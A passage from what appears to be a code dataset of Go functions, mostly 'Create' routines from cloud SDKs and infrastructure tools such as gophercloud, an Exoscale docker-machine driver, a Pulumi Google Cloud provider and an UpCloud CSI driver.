gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToReceiverCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{200, 201, 202},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (d *Driver) Create() error {\n\tcloudInit, err := d.getCloudInit()\n\tif err != nil {\n\t\treturn err\n\t}\n\tuserData := base64.StdEncoding.EncodeToString(cloudInit)\n\n\tlog.Infof(\"Querying exoscale for the requested parameters...\")\n\tclient := egoscale.NewClient(d.URL, d.APIKey, d.APISecretKey)\n\ttopology, err := client.GetTopology()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Availability zone UUID\n\tzone, ok := topology.Zones[strings.ToLower(d.AvailabilityZone)]\n\tif !ok {\n\t\treturn fmt.Errorf(\"Availability zone %v doesn't exist\",\n\t\t\td.AvailabilityZone)\n\t}\n\tlog.Debugf(\"Availability zone %v = %s\", d.AvailabilityZone, zone)\n\n\t// Image UUID\n\tvar tpl string\n\timages, ok := topology.Images[strings.ToLower(d.Image)]\n\tif ok {\n\t\ttpl, ok = images[d.DiskSize]\n\t}\n\tif !ok {\n\t\treturn fmt.Errorf(\"Unable to find image %v with size %d\",\n\t\t\td.Image, d.DiskSize)\n\t}\n\tlog.Debugf(\"Image %v(%d) = %s\", d.Image, d.DiskSize, tpl)\n\n\t// Profile UUID\n\tprofile, ok := topology.Profiles[strings.ToLower(d.InstanceProfile)]\n\tif !ok {\n\t\treturn fmt.Errorf(\"Unable to find the %s profile\",\n\t\t\td.InstanceProfile)\n\t}\n\tlog.Debugf(\"Profile %v = %s\", d.InstanceProfile, profile)\n\n\t// Security groups\n\tsecurityGroups := strings.Split(d.SecurityGroup, \",\")\n\tsgs := make([]string, len(securityGroups))\n\tfor idx, group := range securityGroups {\n\t\tsg, ok := topology.SecurityGroups[group]\n\t\tif !ok {\n\t\t\tlog.Infof(\"Security group %v does not exist, create it\", group)\n\t\t\tsecurityGroup, err := d.createDefaultSecurityGroup(group)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsg = securityGroup.ID\n\t\t}\n\t\tlog.Debugf(\"Security group %v = %s\", group, sg)\n\t\tsgs[idx] = sg\n\t}\n\n\t// Affinity Groups\n\taffinityGroups := strings.Split(d.AffinityGroup, \",\")\n\tags := make([]string, len(affinityGroups))\n\tfor idx, group := range affinityGroups {\n\t\tag, ok := topology.AffinityGroups[group]\n\t\tif !ok {\n\t\t\tlog.Infof(\"Affinity Group %v does not exist, create it\", group)\n\t\t\taffinityGroup, err := d.createDefaultAffinityGroup(group)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tag = affinityGroup.ID\n\t\t}\n\t\tlog.Debugf(\"Affinity group %v = %s\", group, ag)\n\t\tags[idx] = ag\n\t}\n\n\tlog.Infof(\"Generate an SSH keypair...\")\n\tkeypairName := fmt.Sprintf(\"docker-machine-%s\", d.MachineName)\n\tkpresp, err := client.CreateKeypair(keypairName)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = ioutil.WriteFile(d.GetSSHKeyPath(), []byte(kpresp.PrivateKey), 0600)\n\tif err != nil {\n\t\treturn err\n\t}\n\td.KeyPair = keypairName\n\n\tlog.Infof(\"Spawn exoscale host...\")\n\tlog.Debugf(\"Using the following cloud-init file:\")\n\tlog.Debugf(\"%s\", string(cloudInit))\n\n\treq := &egoscale.DeployVirtualMachine{\n\t\tTemplateID: tpl,\n\t\tServiceOfferingID: profile,\n\t\tUserData: userData,\n\t\tZoneID: zone,\n\t\tKeyPair: d.KeyPair,\n\t\tName: d.MachineName,\n\t\tDisplayName: d.MachineName,\n\t\tRootDiskSize: d.DiskSize,\n\t\tSecurityGroupIDs: sgs,\n\t\tAffinityGroupIDs: ags,\n\t}\n\tlog.Infof(\"Deploy %#v\", req)\n\tresp, err := client.AsyncRequest(req, d.async)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvm := resp.(*egoscale.DeployVirtualMachineResponse).VirtualMachine\n\n\tIPAddress := vm.Nic[0].IPAddress\n\tif IPAddress != nil {\n\t\td.IPAddress = IPAddress.String()\n\t}\n\td.ID = vm.ID\n\n\treturn nil\n}", "func New(d diag.Sink, cloudURL string, project *workspace.Project, insecure bool) (Backend, error) {\n\tcloudURL = ValueOrDefaultURL(cloudURL)\n\taccount, err := workspace.GetAccount(cloudURL)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting stored credentials: %w\", err)\n\t}\n\tapiToken := account.AccessToken\n\n\tclient := client.NewClient(cloudURL, apiToken, insecure, d)\n\tcapabilities := detectCapabilities(d, client)\n\n\treturn &cloudBackend{\n\t\td: d,\n\t\turl: cloudURL,\n\t\tclient: client,\n\t\tcapabilities: capabilities,\n\t\tcurrentProject: project,\n\t}, nil\n}", "func (c *Client) DatacenterCreate(datacenter Datacenter, datacenterConfig DatacenterConfig) (*Datacenter, error) {\n\tvar createdObj Datacenter\n\n\terr := c.rpcClient.CallFor(\n\t\t&createdObj,\n\t\t\"datacenter_create\",\n\t\tdatacenter,\n\t\tdatacenterConfig)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &createdObj, nil\n}", "func (cce *CCEClient) Create(ctx context.Context, cluster *clusterv1.Cluster, machine *clusterv1.Machine) error {\n\tglog.V(4).Infof(\"Create machine: %+v\", machine.Name)\n\tinstance, err := cce.instanceIfExists(cluster, machine)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif instance != nil {\n\t\tglog.Infof(\"Skipped creating a VM that already exists, instanceID %s\", instance.InstanceID)\n\t}\n\n\tmachineCfg, err := machineProviderFromProviderConfig(machine.Spec.ProviderSpec)\n\tif err != nil {\n\t\tglog.Errorf(\"parse machine config err: %s\", err.Error())\n\t\treturn err\n\t}\n\tglog.V(4).Infof(\"machine config: %+v\", machineCfg)\n\n\tbccArgs := &bcc.CreateInstanceArgs{\n\t\tName: machine.Name,\n\t\tImageID: machineCfg.ImageID, // ubuntu-16.04-amd64\n\t\tBilling: billing.Billing{\n\t\t\tPaymentTiming: \"Postpaid\",\n\t\t},\n\t\tCPUCount: machineCfg.CPUCount,\n\t\tMemoryCapacityInGB: machineCfg.MemoryCapacityInGB,\n\t\tAdminPass: machineCfg.AdminPass,\n\t\tPurchaseCount: 1,\n\t\tInstanceType: \"N3\", // Normal 3\n\t\tNetworkCapacityInMbps: 1, //EIP bandwidth\n\t}\n\n\t// TODO support different regions\n\tinstanceIDs, err := cce.computeService.Bcc().CreateInstances(bccArgs, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(instanceIDs) != 1 {\n\t\treturn fmt.Errorf(\"CreateVMError\")\n\t}\n\n\tglog.Infof(\"Created a new VM, instanceID %s\", instanceIDs[0])\n\tif machine.ObjectMeta.Annotations == nil {\n\t\tmachine.ObjectMeta.Annotations = map[string]string{}\n\t}\n\tif cluster.ObjectMeta.Annotations == nil {\n\t\tcluster.ObjectMeta.Annotations = map[string]string{}\n\t}\n\tmachine.ObjectMeta.Annotations[TagInstanceID] = instanceIDs[0]\n\tmachine.ObjectMeta.Annotations[TagInstanceStatus] = \"Created\"\n\tmachine.ObjectMeta.Annotations[TagInstanceAdminPass] = machineCfg.AdminPass\n\tmachine.ObjectMeta.Annotations[TagKubeletVersion] = machine.Spec.Versions.Kubelet\n\n\ttoken, err := cce.getKubeadmToken()\n\tif err != nil {\n\t\tglog.Errorf(\"getKubeadmToken err: %+v\", err)\n\t\treturn err\n\t}\n\n\tif machineCfg.Role == \"master\" {\n\t\tcluster.ObjectMeta.Annotations[TagMasterInstanceID] = instanceIDs[0]\n\t\tcluster.ObjectMeta.Annotations[TagClusterToken] = token\n\t\tmachine.ObjectMeta.Annotations[TagInstanceRole] = \"master\"\n\t} else {\n\t\tmachine.ObjectMeta.Annotations[TagInstanceRole] = \"node\"\n\t}\n\n\tglog.V(4).Infof(\"new machine: %+v, annotation %+v\", machine.Name, machine.Annotations)\n\tcce.client.Update(context.Background(), cluster)\n\tcce.client.Update(context.Background(), machine)\n\n\t// TODO rewrite\n\tgo cce.postCreate(ctx, cluster, machine)\n\treturn nil\n}", "func Create(c *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToCDNServiceCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn r\n\t}\n\tresp, err := c.Post(createURL(c), &b, nil, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (s *ServicesClient) Create(ctx context.Context, orgID, projectID *identity.ID, name string) error {\n\tif orgID == nil || projectID == nil {\n\t\treturn errors.New(\"invalid org or project\")\n\t}\n\n\tserviceBody := primitive.Service{\n\t\tName: name,\n\t\tOrgID: orgID,\n\t\tProjectID: projectID,\n\t}\n\n\tID, err := identity.NewMutable(&serviceBody)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tservice := apitypes.Service{\n\t\tID: &ID,\n\t\tVersion: 1,\n\t\tBody: &serviceBody,\n\t}\n\n\treq, _, err := s.client.NewRequest(\"POST\", \"/services\", nil, service, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = s.client.Do(ctx, req, nil, nil, nil)\n\treturn err\n}", "func (p *googleCloudProvider) Create(ctx context.Context, req *rpc.CreateRequest) (*rpc.CreateResponse, error) {\n\turn := resource.URN(req.GetUrn())\n\tlabel := fmt.Sprintf(\"%s.Create(%s)\", p.name, urn)\n\tlogging.V(9).Infof(\"%s executing\", label)\n\n\t// Deserialize RPC inputs\n\tinputs, err := plugin.UnmarshalProperties(req.GetProperties(), plugin.MarshalOptions{\n\t\tLabel: fmt.Sprintf(\"%s.properties\", label), SkipNulls: true,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinputsMap := inputs.Mappable()\n\n\tresourceKey := string(urn.Type())\n\tres, ok := p.resourceMap.Resources[resourceKey]\n\tif !ok {\n\t\treturn nil, errors.Errorf(\"resource %q not found\", resourceKey)\n\t}\n\n\turi, err := buildCreateUrl(res, inputs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbody := p.prepareAPIInputs(inputs, nil, res.CreateProperties)\n\n\tvar op map[string]interface{}\n\tif res.AssetUpload {\n\t\tvar content []byte\n\t\tsource := inputs[\"source\"]\n\t\tif source.IsAsset() {\n\t\t\tcontent, err = source.AssetValue().Bytes()\n\t\t} else if source.IsArchive() {\n\t\t\tcontent, err = source.ArchiveValue().Bytes(resource.ZIPArchive)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\top, err = p.client.UploadWithTimeout(res.CreateVerb, uri, body, content, 0)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error sending upload request: %s: %q %+v %d\", err, uri, inputs.Mappable(), len(content))\n\t\t}\n\t} else {\n\t\top, err = p.client.RequestWithTimeout(res.CreateVerb, uri, body, 0)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error sending request: %s: %q %+v\", err, uri, inputs.Mappable())\n\t\t}\n\t}\n\n\tresp, err := p.waitForResourceOpCompletion(res.BaseUrl, op)\n\tif err != nil {\n\t\tif resp == nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion\")\n\t\t}\n\t\t// A partial failure may have occurred because we got an error and a response.\n\t\t// Try reading the resource state and return a partial error if there is some.\n\t\tid, idErr := calculateResourceId(res, inputsMap, resp)\n\t\tif idErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion / calculate ID %s\", idErr)\n\t\t}\n\t\treadResp, getErr := p.client.RequestWithTimeout(\"GET\", id, nil, 0)\n\t\tif getErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion / read state %s\", getErr)\n\t\t}\n\t\tcheckpoint, cpErr := plugin.MarshalProperties(\n\t\t\tcheckpointObject(inputs, readResp),\n\t\t\tplugin.MarshalOptions{Label: fmt.Sprintf(\"%s.partialCheckpoint\", label), KeepSecrets: true, SkipNulls: true},\n\t\t)\n\t\tif cpErr != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"waiting for completion / checkpoint %s\", cpErr)\n\t\t}\n\t\treturn nil, partialError(id, err, checkpoint, req.GetProperties())\n\t}\n\n\t// Store both outputs and inputs into the state.\n\tcheckpoint, err := plugin.MarshalProperties(\n\t\tcheckpointObject(inputs, resp),\n\t\tplugin.MarshalOptions{Label: fmt.Sprintf(\"%s.checkpoint\", label), KeepSecrets: true, SkipNulls: true},\n\t)\n\n\tid, err := calculateResourceId(res, inputsMap, resp)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"calculating resource ID\")\n\t}\n\n\treturn &rpc.CreateResponse{\n\t\tId: id,\n\t\tProperties: checkpoint,\n\t}, nil\n}", "func NewCloudStore() CloudStore {\n\treturn NewStow()\n}", "func (m *MachinesClient) Create(ctx context.Context, machine *envelope.Unsigned,\n\tmemberships []envelope.Unsigned, token *MachineTokenCreationSegment) (*apitypes.MachineSegment, error) {\n\n\tsegment := MachineCreationSegment{\n\t\tMachine: machine,\n\t\tMemberships: memberships,\n\t\tTokens: []MachineTokenCreationSegment{*token},\n\t}\n\n\treq, err := m.client.NewRequest(\"POST\", \"/machines\", nil, &segment)\n\tif err != nil {\n\t\tlog.Printf(\"Error building POST Machines Request: %s\", err)\n\t\treturn nil, err\n\t}\n\n\tresp := &apitypes.MachineSegment{}\n\t_, err = m.client.Do(ctx, req, resp)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to create machine: %s\", err)\n\t\treturn nil, err\n\t}\n\n\treturn resp, nil\n}", "func New(username, password string) (up *UpCloud, err error) {\n\tvar u UpCloud\n\n\tu.req = requester.New(&http.Client{}, Hostname)\n\n\t// Set username\n\tu.username = username\n\t// Set password\n\tu.password = password\n\t// Assign pointer reference\n\tup = &u\n\treturn\n}", "func (s *StorageClusterAPI) Create(w http.ResponseWriter, r *http.Request) {\n\tstorage := &config.StorageCluster{}\n\terr := api.GetJSONBodyFromRequest(r, storage)\n\tif err != nil {\n\t\tapi.Error(w, err)\n\t\treturn\n\t}\n\terr = s.storageClusterService.Save(storage)\n\tif err != nil {\n\t\tapi.Error(w, err)\n\t\treturn\n\t}\n\tapi.NoContent(w)\n}", "func (c *ControlPlaneClient) CreateOrUpdate(ctx context.Context, location, name string, cloud *cloud.ControlPlaneInfo) (*cloud.ControlPlaneInfo, error) {\n\treturn c.internal.CreateOrUpdate(ctx, location, name, cloud)\n}", "func (conf *Configuration) Create(name string, userName, authKey string, cloudInit interface{}, network *Network, annotation string, expandHardDrive bool, memory, cpus, disk, nodeIndex int) (*VirtualMachine, error) {\n\tctx := context.NewContext(conf.Timeout)\n\tdefer ctx.Cancel()\n\n\treturn conf.CreateWithContext(ctx, name, userName, authKey, cloudInit, network, annotation, expandHardDrive, memory, cpus, disk, nodeIndex)\n}", "func Create(app *nais.Application, resourceOptions ResourceOptions) (ResourceOperations, error) {\n\tteam, ok := app.Labels[\"team\"]\n\tif !ok || len(team) == 0 {\n\t\treturn nil, fmt.Errorf(\"the 'team' label needs to be set in the application metadata\")\n\t}\n\n\tops := ResourceOperations{\n\t\t{Service(app), OperationCreateOrUpdate},\n\t\t{ServiceAccount(app, resourceOptions), OperationCreateIfNotExists},\n\t\t{HorizontalPodAutoscaler(app), OperationCreateOrUpdate},\n\t}\n\n\tif app.Spec.LeaderElection {\n\t\tleRole := LeaderElectionRole(app)\n\t\tleRoleBinding := LeaderElectionRoleBinding(app)\n\t\tops = append(ops, ResourceOperation{leRole, OperationCreateOrUpdate})\n\t\tops = append(ops, ResourceOperation{leRoleBinding, OperationCreateOrRecreate})\n\t}\n\n\tif len(resourceOptions.GoogleProjectId) > 0 && app.Spec.GCP != nil {\n\t\tgoogleServiceAccount := GoogleIAMServiceAccount(app, resourceOptions.GoogleProjectId)\n\t\tgoogleServiceAccountBinding := GoogleIAMPolicy(app, &googleServiceAccount, resourceOptions.GoogleProjectId)\n\t\tops = append(ops, ResourceOperation{&googleServiceAccount, OperationCreateOrUpdate})\n\t\tops = append(ops, ResourceOperation{&googleServiceAccountBinding, OperationCreateOrUpdate})\n\n\t\tif app.Spec.GCP.Buckets != nil && len(app.Spec.GCP.Buckets) > 0 {\n\t\t\tfor _, b := range app.Spec.GCP.Buckets {\n\t\t\t\tbucket := GoogleStorageBucket(app, b)\n\t\t\t\tops = append(ops, ResourceOperation{bucket, OperationCreateIfNotExists})\n\n\t\t\t\tbucketAccessControl := GoogleStorageBucketAccessControl(app, bucket.Name, resourceOptions.GoogleProjectId, googleServiceAccount.Name)\n\t\t\t\tops = append(ops, ResourceOperation{bucketAccessControl, OperationCreateOrUpdate})\n\t\t\t}\n\t\t}\n\n\t\tif app.Spec.GCP.SqlInstances != nil {\n\t\t\tvars := make(map[string]string)\n\n\t\t\tfor i, sqlInstance := range app.Spec.GCP.SqlInstances {\n\t\t\t\tif i > 0 {\n\t\t\t\t\treturn nil, fmt.Errorf(\"only one sql instance is supported\")\n\t\t\t\t}\n\n\t\t\t\t// TODO: name defaulting will break with more than one instance\n\t\t\t\tsqlInstance, err := CloudSqlInstanceWithDefaults(sqlInstance, app.Name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tinstance := GoogleSqlInstance(app, sqlInstance, resourceOptions.GoogleTeamProjectId)\n\t\t\t\tops = append(ops, ResourceOperation{instance, OperationCreateOrUpdate})\n\n\t\t\t\tkey, err := util.Keygen(32)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"unable to generate secret for sql user: %s\", err)\n\t\t\t\t}\n\t\t\t\tusername := instance.Name\n\t\t\t\tpassword := base64.URLEncoding.WithPadding(base64.NoPadding).EncodeToString(key)\n\n\t\t\t\tiamPolicyMember := SqlInstanceIamPolicyMember(app, sqlInstance.Name, resourceOptions.GoogleProjectId, resourceOptions.GoogleTeamProjectId)\n\t\t\t\tops = append(ops, ResourceOperation{iamPolicyMember, OperationCreateIfNotExists})\n\n\t\t\t\tfor _, db := range sqlInstance.Databases {\n\t\t\t\t\tgoogledb := GoogleSQLDatabase(app, db, sqlInstance, resourceOptions.GoogleTeamProjectId)\n\t\t\t\t\tops = append(ops, ResourceOperation{googledb, OperationCreateIfNotExists})\n\t\t\t\t\tenv := GoogleSQLEnvVars(&db, instance.Name, username, password)\n\t\t\t\t\tfor k, v := range env {\n\t\t\t\t\t\tvars[k] = v\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// FIXME: only works when there is one sql instance\n\t\t\t\tsecretKeyRefEnvName, err := firstKeyWithSuffix(vars, googleSQLPasswordSuffix)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"unable to assign sql password: %s\", err)\n\t\t\t\t}\n\t\t\t\tsqlUser := GoogleSqlUser(app, instance, secretKeyRefEnvName, sqlInstance.CascadingDelete, resourceOptions.GoogleTeamProjectId)\n\t\t\t\tops = append(ops, ResourceOperation{sqlUser, OperationCreateIfNotExists})\n\n\t\t\t\t// FIXME: take into account when refactoring default values\n\t\t\t\tapp.Spec.GCP.SqlInstances[i].Name = sqlInstance.Name\n\t\t\t}\n\n\t\t\tsecret := OpaqueSecret(app, GoogleSQLSecretName(app), vars)\n\t\t\tops = append(ops, ResourceOperation{secret, OperationCreateIfNotExists})\n\t\t}\n\t}\n\n\tif resourceOptions.AccessPolicy {\n\t\tops = append(ops, ResourceOperation{NetworkPolicy(app, resourceOptions.AccessPolicyNotAllowedCIDRs), OperationCreateOrUpdate})\n\t\tvses, err := VirtualServices(app)\n\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to create VirtualServices: %s\", err)\n\t\t}\n\n\t\tfor _, vs := range vses {\n\t\t\tops = append(ops, ResourceOperation{vs, OperationCreateOrUpdate})\n\t\t}\n\n\t\tauthorizationPolicy := AuthorizationPolicy(app)\n\t\tif authorizationPolicy != nil {\n\t\t\tops = append(ops, ResourceOperation{authorizationPolicy, OperationCreateOrUpdate})\n\t\t}\n\n\t\tserviceEntries := ServiceEntries(app)\n\t\tfor _, serviceEntry := range serviceEntries {\n\t\t\tops = append(ops, ResourceOperation{serviceEntry, OperationCreateOrUpdate})\n\t\t}\n\n\t} else {\n\n\t\tingress, err := Ingress(app)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"while creating ingress: %s\", err)\n\t\t}\n\n\t\tif ingress != nil {\n\t\t\tops = append(ops, ResourceOperation{ingress, OperationCreateOrUpdate})\n\t\t}\n\t}\n\n\tdeployment, err := Deployment(app, resourceOptions)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"while creating deployment: %s\", err)\n\t}\n\tops = append(ops, ResourceOperation{deployment, OperationCreateOrUpdate})\n\n\treturn ops, nil\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToPolicyCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func createCloudsYaml(t *testing.T, cloudName string, cloud clientconfig.Cloud) string {\n\tt.Helper()\n\n\tfile, err := os.CreateTemp(\"\", \"lego_test\")\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() { _ = os.RemoveAll(file.Name()) })\n\n\tclouds := clientconfig.Clouds{\n\t\tClouds: map[string]clientconfig.Cloud{\n\t\t\tcloudName: cloud,\n\t\t},\n\t}\n\n\terr = yaml.NewEncoder(file).Encode(&clouds)\n\trequire.NoError(t, err)\n\n\treturn file.Name()\n}", "func (c *Context) Create(cfg *config.Config) error {\n\t// validate config first\n\tif err := cfg.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t// TODO(bentheelder): multiple nodes ...\n\tkubeadmConfig, err := c.provisionControlPlane(\n\t\tfmt.Sprintf(\"kind-%s-control-plane\", c.name),\n\t\tcfg,\n\t)\n\n\t// clean up the kubeadm config file\n\t// NOTE: in the future we will use this for other nodes first\n\tif kubeadmConfig != \"\" {\n\t\tdefer os.Remove(kubeadmConfig)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Infof(\n\t\t\"You can now use the cluster with:\\n\\nexport KUBECONFIG=\\\"%s\\\"\\nkubectl cluster-info\",\n\t\tc.KubeConfigPath(),\n\t)\n\n\treturn nil\n}", "func CreateDatastore(tpl string, clusterID int) (uint, error) {\n\tresponse, err := client.Call(\"one.datastore.allocate\", tpl, clusterID)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn uint(response.BodyInt()), nil\n}", "func (d *DefaultDriver) ValidateCreateCloudsnap(name string, params map[string]string) error {\n\treturn &errors.ErrNotSupported{\n\t\tType: \"Function\",\n\t\tOperation: \"ValidateCreateCloudsnap()\",\n\t}\n}", "func (client *Client) CreateCloudAccountWithOptions(request *CreateCloudAccountRequest, runtime *util.RuntimeOptions) (_result *CreateCloudAccountResponse, _err error) {\n\t_err = util.ValidateModel(request)\n\tif _err != nil {\n\t\treturn _result, _err\n\t}\n\tquery := map[string]interface{}{}\n\tif !tea.BoolValue(util.IsUnset(request.DisplayName)) {\n\t\tquery[\"DisplayName\"] = request.DisplayName\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.Email)) {\n\t\tquery[\"Email\"] = request.Email\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.ParentFolderId)) {\n\t\tquery[\"ParentFolderId\"] = request.ParentFolderId\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.PayerAccountId)) {\n\t\tquery[\"PayerAccountId\"] = request.PayerAccountId\n\t}\n\n\treq := &openapi.OpenApiRequest{\n\t\tQuery: openapiutil.Query(query),\n\t}\n\tparams := &openapi.Params{\n\t\tAction: tea.String(\"CreateCloudAccount\"),\n\t\tVersion: tea.String(\"2020-03-31\"),\n\t\tProtocol: tea.String(\"HTTPS\"),\n\t\tPathname: tea.String(\"/\"),\n\t\tMethod: tea.String(\"POST\"),\n\t\tAuthType: tea.String(\"AK\"),\n\t\tStyle: tea.String(\"RPC\"),\n\t\tReqBodyType: tea.String(\"formData\"),\n\t\tBodyType: tea.String(\"json\"),\n\t}\n\t_result = &CreateCloudAccountResponse{}\n\t_body, _err := client.CallApi(params, req, runtime)\n\tif _err != nil {\n\t\treturn _result, _err\n\t}\n\t_err = tea.Convert(_body, &_result)\n\treturn _result, _err\n}", "func (c *UpCloudControllerServer) CreateVolume(ctx context.Context, req *csi.CreateVolumeRequest) (*csi.CreateVolumeResponse, error) {\n\tvolName := req.Name\n\tif volName == \"\" {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"CreateVolume Name is missing\")\n\t}\n\n\tif req.VolumeCapabilities == nil || len(req.VolumeCapabilities) == 0 {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"CreateVolume Volume Capabilities is missing\")\n\t}\n\n\t// Validate\n\tif !isValidCapability(req.VolumeCapabilities) {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"CreateVolume Volume capability is not compatible: %v\", req)\n\t}\n\n\tc.Driver.log.WithFields(logrus.Fields{\n\t\t\"volume-name\": volName,\n\t\t\"capabilities\": req.VolumeCapabilities,\n\t}).Info(\"Create Volume: called\")\n\n\t// check that the volume doesnt already exist\n\tstorages, err := c.Driver.upCloudClient.ListStorages()\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"CreateVolume Volume: List volume error %s\", err.Error())\n\t}\n\tfor _, storage := range storages.Storages.Storage {\n\t\tif storage.Title == volName {\n\t\t\treturn &csi.CreateVolumeResponse{\n\t\t\t\tVolume: &csi.Volume{\n\t\t\t\t\tVolumeId: storage.UUID,\n\t\t\t\t\tCapacityBytes: int64(storage.Size) * giB,\n\t\t\t\t},\n\t\t\t}, nil\n\t\t}\n\t}\n\n\t// if applicable, create volume\n\tsize, err := getStorageBytes(req.CapacityRange)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.OutOfRange, \"invalid volume capacity range: %v\", err)\n\t}\n\tnewStorage, err := c.Driver.upCloudClient.CreateStorage(int(size/giB), req.Parameters[\"tier\"], volName, c.Driver.region)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"error create volume: %s\", err.Error())\n\t}\n\n\tres := &csi.CreateVolumeResponse{\n\t\tVolume: &csi.Volume{\n\t\t\tVolumeId: newStorage.Storage.UUID,\n\t\t\tCapacityBytes: size,\n\t\t\tAccessibleTopology: []*csi.Topology{\n\t\t\t\t{\n\t\t\t\t\tSegments: map[string]string{\n\t\t\t\t\t\t\"region\": c.Driver.region,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tc.Driver.log.WithFields(logrus.Fields{\n\t\t\"size\": size,\n\t\t\"volume-id\": newStorage.Storage.UUID,\n\t\t\"volume-name\": volName,\n\t\t\"volume-size\": int(size / giB),\n\t}).Info(\"Create Volume: created volume\")\n\n\treturn res, nil\n}", "func Create(client *gophercloud.ServiceClient, instanceID string, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToDBCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(baseURL(client, instanceID), &b, nil, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (p *googleCloudProvider) Create(ctx context.Context, req *rpc.CreateRequest) (*rpc.CreateResponse, error) {\n\turn := resource.URN(req.GetUrn())\n\tlabel := fmt.Sprintf(\"%s.Create(%s)\", p.name, urn)\n\tlogging.V(9).Infof(\"%s executing\", label)\n\n\t// Deserialize RPC inputs\n\tinputs, err := plugin.UnmarshalProperties(req.GetProperties(), plugin.MarshalOptions{\n\t\tLabel: fmt.Sprintf(\"%s.properties\", label), SkipNulls: true,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tunmodifiedInputs := deepcopy.Copy(inputs).(resource.PropertyMap)\n\tresourceKey := string(urn.Type())\n\n\tres, ok := p.resourceMap.Resources[resourceKey]\n\tif !ok {\n\t\treturn nil, errors.Errorf(\"resource %q not found\", resourceKey)\n\t}\n\tlogging.V(9).Infof(\"Looked up metadata for %q: %+v\", resourceKey, res)\n\n\t// Handle IamMember, IamBinding resources.\n\tif isIAMOverlay(urn) {\n\t\tinputs, err = inputsForIAMOverlayCreate(res, urn, inputs, p.client)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\turi, err := buildCreateURL(res, inputs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinputsMap := inputs.Mappable()\n\n\tbody := p.prepareAPIInputs(inputs, nil, res.Create.SDKProperties)\n\n\tvar op map[string]interface{}\n\tvar contentType string\n\tif val, hasContentType := inputs[\"contentType\"]; hasContentType {\n\t\tcontentType = val.StringValue()\n\t}\n\n\tif res.AssetUpload {\n\t\top, err = p.handleAssetUpload(uri, &res, inputs, body)\n\t} else if needsMultiPartFormdataContentType(contentType, res) {\n\t\top, err = p.handleFormDataUpload(uri, &res, inputs)\n\t} else {\n\t\top, err = retryRequest(p.client, res.Create.Verb, uri, contentType, body)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error sending request: %s: %q %+v\", 